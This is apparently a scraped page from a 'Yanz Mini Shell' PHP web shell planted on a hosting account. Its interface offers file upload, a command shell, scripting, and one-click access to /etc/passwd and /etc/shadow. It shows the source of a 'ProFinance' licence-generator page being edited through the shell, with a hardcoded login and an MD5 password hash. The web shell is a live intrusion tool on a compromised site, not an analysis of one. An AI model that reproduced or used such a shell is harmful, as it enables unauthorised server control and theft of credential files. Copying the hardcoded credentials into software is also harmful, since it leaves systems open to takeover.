Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
housgcjs
elaan.net
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php $exec = exec("hostname"); //sys_nm $hostname = trim($exec); //remove spaces before and after $ip = gethostbyname(exec("hostname")); //get ip by sys_nm $mac = shell_exec("arp -a ".escapeshellarg($_SERVER['REMOTE_ADDR'])." | grep -o -E '(:xdigit:{1,2}:){5}:xdigit:{1,2}'"); if((isset($_POST['usrnm'])) AND (isset($_POST['pass']))){ if(($_POST['usrnm']=="123") AND (md5($_POST['pass'])=="3267c8273860b22f541f4f76c860b581")){ session_start(); $_SESSION['token']=$_POST['usrnm']; // Register $myusername, $mypassword and redirect to file "menu" $_SESSION['lgf_user']=$_POST['usrnm']; // for new version $_SESSION['lgf_pass']=md5($_POST['pass']); // for new version } else{ $msg="You have entered Invalid Username or password!";} }?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>LGF</title> <!-- Bootstrap core CSS --> <link href="assets/css/bootstrap.css" rel="stylesheet"> <!--external css--> <link href="assets/font-awesome/css/font-awesome.css" rel="stylesheet" /> <!-- Custom styles for this template --> <link href="assets/css/style.css" rel="stylesheet"> <link href="assets/css/style-responsive.css" rel="stylesheet"> <!-- HTML5 shim and Respond.js IE8 support of HTML5 elements and media queries --> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script> <![endif]--> </head> <body> <!--main content start--> <section style="padding:0 50px"; > <h1><i class="fa fa-lock"></i> ProFinance</h1> <h4>License Registration. V 1.0D</h4> <div class="row"> <!-- INLINE FORM ELELEMNTS --> <?php if(isset($_SESSION['lgf_user'])){ print " <div class=\"form-panel\" > <h4 class=\"mb\"><i class=\"fa fa-angle-right\"></i>"; echo "Current Status: ". $ip." on ". $hostname. " With Physical Address: ".$mac; print"</h4> <form style=\"padding:10px 30px\" id=\"form\" class=\"style-form form-horizontal\" enctype=\"multipart/form-data\" action=\"lgp.php\" method=\"POST\" > <div class=\"row\"> <h3>Company Details.</h3> <div class=\"form-group\" style=\"border-bottom:1px dashed black;\"> <div class=\"col-sm-6\"> Company Name: <input type=\"text\" name=\"comp_nm\" class=\"form-control\" minlength=\"3\" placeholder=\"Company Name\" required> </div> <div class=\"col-sm-3\"> Company Slogan: <input type=\"text\" name=\"comp_slo\" class=\"form-control\" placeholder=\"Company Slogan\" required> </div> <div class=\"col-sm-3\"> Upload Logo: <input name=\"logo\" type=\"file\" class=\"form-control\" placeholder=\"logo\" accept=\"image/*\" required> </div> <div class=\"col-sm-12\"> Address / Contact Details: <textarea name=\"adrs\" class=\"form-control\" placeholder=\"Address & Contact Information\" required></textarea> </div> </div> <h3>License Details.</h3> <div class=\"form-group\"> <div class=\"col-sm-3\"> Licence Validity (YYYYMMDD): <input type=\"text\" name=\"lxp\" class=\"form-control\" placeholder=\"Licence Validity\" maxlength=\"8\" pattern=\"\d{4}\d{2}\d{2}\" required> </div> <div class=\"col-sm-3\"> No of Users: <input type=\"number\" min=\"1\" max=\"20\" name=\"nou\" class=\"form-control\" placeholder=\"Nos of users\" required> </div> <div class=\"col-sm-3\"> MAC Address: <input type=\"text\" name=\"mac\" class=\"form-control\" placeholder=\"MAC ID\" required> </div> <div class=\"col-sm-3\"> Server IP: <input type=\"text\" name=\"sip\" class=\"form-control\" placeholder=\"Server IP\" pattern=\"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\" required> </div> <div class=\"col-sm-3\"> AdministratorUsername: (To manage other users) <input type=\"text\" name=\"ad_usr\" class=\"form-control\" minlength=\"6\" placeholder=\"Administrator Username\" required> </div> <div class=\"col-sm-3\"> Administrator Password: <input type=\"password\" name=\"ad_pass\" id=\"ad_pass\" class=\"form-control\" placeholder=\"Administrator Password\" required> </div> <div class=\"col-sm-3\"> Confirm Password: <input type=\"password\" name=\"cn_pass\" id=\"cn_pass\" class=\"form-control\" placeholder=\"Re-type Password\" required> </div> <div class=\"col-sm-3\"> Administrator Email:(For Recovery) <input type=\"email\" name=\"ad_eml\" class=\"form-control\" placeholder=\"Administrator Email\" required> </div> <div class=\"col-sm-12\" style=\"padding:20px 0;\"> <center> <button type=\"submit\" id=\"lky_btn\" class=\"btn btn-theme\">Generate Licence Key</button> </center> </div> </div> </div> </form> </div>";} else{print" <center> <div class=\"col-sm-4\" ></div> <div class=\"form-panel col-sm-4\" > <form style=\"padding:10px 30px\" id=\"form_lgn\" class=\"style-form\" action=\"lgf.php\" method=\"POST\" > <div class=\"row\"> <h3><i class=\"fa fa-exclamation-triangle\"></i> Please Verify Your Identity!</h3> <span>Entering wrong password 3 times, will result in account suspension for the period of 36-hours.</span> <div class=\"form-group\" style=\"padding-top:15px\"> <div class=\"col-sm-12\"> <i class=\"fa fa-user\"></i> User Name: <input type=\"text\" name=\"usrnm\" class=\"form-control\" placeholder=\"User Name\" required> </div> <div class=\"col-sm-12\" style=\"padding-top:10px;\"> <i class=\"fa fa-key\"></i> Password: <input type=\"password\" name=\"pass\" class=\"form-control\" placeholder=\"Password\" required> <span>";echo @$msg;print"</span> </div> <div class=\"col-sm-12\" style=\"padding:20px 0;\"> <button type=\"submit\" id=\"lgn_btn\" class=\"btn btn-theme\">Login</button> </div> <span>Note: Account Reinstatement is a Difficult Process</span> </div> </div> </form> </div> <div class=\"col-sm-4\" ></div> </center>";} ?> </div><!-- row --> </section><!--/wrapper --> <!--footer start--> <footer class="site-footer"> <div class="text-center"> Licence Generation - A Product of ProFinance. <a href="#" class="go-top"> <i class="fa fa-angle-up"></i> </a> </div> </footer> <!--footer end--> </section> <!-- js placed at the end of the document so the pages load faster --> <script src="assets/js/jquery.js"></script> <script src="assets/js/bootstrap.min.js"></script> <script src="assets/js/jquery-ui-1.9.2.custom.min.js"></script> <script src="assets/js/jquery.ui.touch-punch.min.js"></script> <script src="assets/js/jquery.scrollTo.min.js"></script> <script src="assets/js/jquery.nicescroll.js" type="text/javascript"></script> <!--common script for all pages--> <script src="assets/js/common-scripts-old.js"></script> <script type="text/javascript"> $("#form").submit(function(){ if($('#ad_pass').val()==$('#cn_pass').val()){ var formData = new FormData($(this)[0]); $.ajax({ url: 'lgp.php', type: 'POST', data: formData, async: false, success: function (data) { $('#form').hide('fast'); $('.form-panel').html(data); }, cache: false, contentType: false, processData: false }); return false;} else{ alert('Password Not Matched! Retype Carefully.'); $('#ad_pass').focus(); return false;}; }); </script> </body> </html>
Free Space : 77942726656 Byte